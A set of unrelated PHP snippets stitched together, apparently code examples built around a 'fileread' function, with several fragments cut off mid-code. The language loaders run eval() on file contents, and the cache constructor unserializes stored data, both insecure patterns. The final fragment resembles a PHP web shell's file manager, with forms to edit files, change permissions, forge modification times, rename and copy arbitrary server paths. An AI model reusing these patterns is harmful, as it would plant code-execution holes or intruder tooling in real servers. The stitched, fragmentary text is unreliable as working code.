/** * Write the content * If no content is given, then try to make a read instead */ public function write($ret) { if ($ret == '') { $ret = fileread($this->file); } else { $ret = filewrite($this->file, $ret); } return $ret; }
/** * Get a language-string from the lang-file * * @param string $subset the subset of translation keys (first array dimension) * @param string $key a key in that subset (secound array dimension) * * @return string */ function twig_lang($subset, $key) { static $lang; if (!$lang) { eval(fileread('lang/lang_' . config_lang . '.txt')); } return $lang[$subset][$key]; }
/** * Translates a Date and Time * * @param string $format a format for a timestamp, based on php date function * @param int $timestamp a timestamp * * @return string */ function transdate($format = '', $timestamp = null) { $date = null; static $lang; if (!$lang) { eval(fileread('lang/lang_' . config_lang . '.txt')); } if ($lang['format'][$format] != '') { $format = $lang['format'][$format]; } if ($timestamp == '') { $date = date($format); } else { $date = date($format, $timestamp); } if (strpos($format, 'F') !== false) { $date = translate($date, 'month'); } if (strpos($format, 'l') !== false) { $date = translate($date, 'weekday'); } if (strpos($format, 'D') !== false) { $date = translate($date, 'shortday'); } return $date; }
public function __construct($sFileName, $sPath = '.fest_cache') { // getting nodes tree (rfom file, or generate new) $this->sFileName = $sFileName; $this->sCache = "{$sPath}/" . $this->getCacheName($sFileName); $sPath = ini_get('fest_directory') ? ini_get('fest_directory') : $sPath; $data = array(); if (file_exists($this->sCache)) { $data = unserialize(fileread($this->sCache)); } if (isset($data['utime']) && filemtime($sFileName) == $data['utime']) { // echo 'Open existing file'; $f = fopen($this->sCache, 'r'); $sTpl = fread($f, filesize($this->sCache)); fclose($f); $this->aNodes = unserialize($sTpl); $this->aNodes = $this->aNodes['nodes']; unset($sTpl); } else { $this->createFestFile(); } // Nodes are loaded and ready for parsing! $this->pTreeRoot = new CFestRootNode(); $this->generateTree($this->aNodes, $this->pTreeRoot); // print_r($this->pTreeRoot->getNode('/block/inner_block/../')); }
if ($n == $hexdump_rows) { $n = 0; if ($i + 1 < strlen($str)) { $a0 .= sprintf("%08X", $i + 1) . "<br>"; } $a1 .= "<br>"; $a2 .= "<br>"; } } echo "<table style='font-size:10px;'><tr><td style='border-right:1px solid #292929; color:#444; padding:4px;'>{$a0}</td><td style='color:#666; padding:4px;'>{$a1}</td><td style='border-left:1px solid #292929; color:#444; padding:4px;'>{$a2}</td></tr>"; echo "</table>"; } break; case 'edit': echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:100%;' name='wrcont'> "; fileread($ffile); echo "</textarea><input type='hidden' name='ffile' value='{$ffile}'><input type='hidden' name='path' value='" . $path . "'><input type='submit' name='wrfile' class='form' value='save file' style='width:100%; margin-top:5px;'></form><br/>"; break; case 'chmod': echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='" . $_POST['curpath'] . "'><input type='text' name='chmod' class='form' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' style='width:10%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='" . $path . "' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>"; break; case 'touch': echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='" . $_POST['curpath'] . "'><input type='text' name='touch' class='form' value='" . date("d M Y H:i:s", filemtime($path)) . "' style='width:15%'><span style='margin-left:4px; margin-right:4px;'>for</span><input type='text' name='ffile' class='form' value='" . $path . "' style='width:70%'><input type='submit' style='width:60px;' class='form' value='change!'></form><br/>"; break; case 'rename': echo " <form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='" . $_POST['curpath'] . "'><input type='text' name='ffile' class='form' value='" . $path . "' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='" . $path . "' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>"; break; case 'copy': echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='" . $_POST['curpath'] . "'><input type='text' name='ffile' class='form' value='" . $path . "' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newpath' class='form' value='" . $path . "' style='width:40%'><input type='submit' style='width:60px;' class='form' value='copy!'></form><br/>"; break; }